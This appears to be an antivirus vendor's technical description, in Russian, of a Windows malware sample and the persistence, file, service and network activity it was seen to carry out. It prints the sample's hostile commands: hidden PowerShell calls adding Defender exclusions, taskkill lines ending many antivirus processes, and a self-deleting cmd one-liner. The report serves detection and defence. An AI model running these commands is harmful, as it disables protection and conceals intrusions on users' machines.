Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'SystemTelemetry' = '%ALLUSERSPROFILE%\Microsoft\SystemTelemetry\waitfor.exe BvT2MuFB3J'
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\SvcBF71] 'ImagePath' = '%TEMP%\0D76.tmp'
- [HKLM\SYSTEM\CurrentControlSet\Services\Svc1470] 'ImagePath' = '%TEMP%\0D7E.tmp'
- [HKLM\SYSTEM\CurrentControlSet\Services\MsTokenSvc] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\MsTokenSvc] 'ImagePath' = '%ALLUSERSPROFILE%\Microsoft\SystemTelemetry\MsTokenSvc.exe'
- [HKLM\SYSTEM\CurrentControlSet\Services\TSx_D6C9] 'ImagePath' = '%TEMP%\TSx_D6C9.tmp'
- [HKLM\SYSTEM\CurrentControlSet\Services\EneED9C] 'ImagePath' = '%TEMP%\EneTmp.tmp'
Создает следующие сервисы
- 'SvcBF71' %TEMP%\0D76.tmp
- 'Svc1470' %TEMP%\0D7E.tmp
- 'MsTokenSvc' %ALLUSERSPROFILE%\Microsoft\SystemTelemetry\MsTokenSvc.exe
- 'TSx_D6C9' %TEMP%\TSx_D6C9.tmp
- 'EneED9C' %TEMP%\EneTmp.tmp
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Центр обеспечения безопасности (Security Center)
- Системный антивирус (Защитник Windows)
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -w hidden -c "Add-MpPreference -ExclusionProcess 'Bginfo64.exe' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess '%%SVC_NAME%%.exe' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -w hidden -c "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\SystemTelemetry' -ErrorAction SilentlyContinue"
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /F /IM MsMpEng.exe
- '<SYSTEM32>\taskkill.exe' /F /IM MpCmdRun.exe
- '<SYSTEM32>\taskkill.exe' /F /IM NisSrv.exe
- '<SYSTEM32>\taskkill.exe' /F /IM SecurityHealthService.exe
- '<SYSTEM32>\taskkill.exe' /F /IM SecurityHealthSystray.exe
- '<SYSTEM32>\taskkill.exe' /F /IM smartscreen.exe
- '<SYSTEM32>\taskkill.exe' /F /IM SgrmBroker.exe
- '<SYSTEM32>\taskkill.exe' /F /IM HipsTray.exe
- '<SYSTEM32>\taskkill.exe' /F /IM wsctrl.exe
- '<SYSTEM32>\taskkill.exe' /F /IM usysdiag.exe
- '<SYSTEM32>\taskkill.exe' /F /IM HipsDaemon.exe
- '<SYSTEM32>\taskkill.exe' /F /IM QQPCTray.exe
- '<SYSTEM32>\taskkill.exe' /F /IM QQPCRTP.exe
- '<SYSTEM32>\taskkill.exe' /F /IM QQPCMgr.exe
- '<SYSTEM32>\taskkill.exe' /F /IM 360Tray.exe
- '<SYSTEM32>\taskkill.exe' /F /IM 360Safe.exe
- '<SYSTEM32>\taskkill.exe' /F /IM ZhuDongFangYu.exe
- '<SYSTEM32>\taskkill.exe' /F /IM avp.exe
- '<SYSTEM32>\taskkill.exe' /F /IM ekrn.exe
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\securityhealthsystray.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\0d76.tmp
- %TEMP%\0d7e.tmp
- %ALLUSERSPROFILE%\microsoft\systemtelemetry\waitfor.exe
- %ALLUSERSPROFILE%\microsoft\systemtelemetry\version.dll
- %ALLUSERSPROFILE%\microsoft\systemtelemetry\cache.db
- %ALLUSERSPROFILE%\microsoft\systemtelemetry\metrics.bin
- %TEMP%\ms43516024.tmp
- nul
- %ALLUSERSPROFILE%\microsoft\systemtelemetry\.svctime
- %ALLUSERSPROFILE%\microsoft\systemtelemetry\mstokensvc.exe
- %TEMP%\tsx_d6c9.tmp
- %TEMP%\enetmp.tmp
Удаляет файлы, которые сам же создал
- %TEMP%\0d76.tmp
- %TEMP%\0d7e.tmp
- %TEMP%\ms43516024.tmp
- %TEMP%\tsx_d6c9.tmp
- %TEMP%\enetmp.tmp
Сетевая активность
Подключается к
- '19#.#27.109.153':8080
TCP
Другие
- '19#.#27.109.153':8080
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%ALLUSERSPROFILE%\microsoft\systemtelemetry\waitfor.exe' BvT2MuFB3J
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ping 127.0.0.1 -n 3 >nul & del /f /q "<Полный путь к файлу>" & exit
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 3
- '<SYSTEM32>\cmd.exe' /c powershell.exe -ep bypass -w hidden -c "Add-MpPreference -ExclusionProcess 'Bginfo64.exe' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess '%%SVC_NAME%%.exe' -ErrorAction Sil... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -ep bypass -w hidden -c "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\SystemTelemetry' -ErrorAction SilentlyContinue" >nul 2>&1 (со скрытым окном)
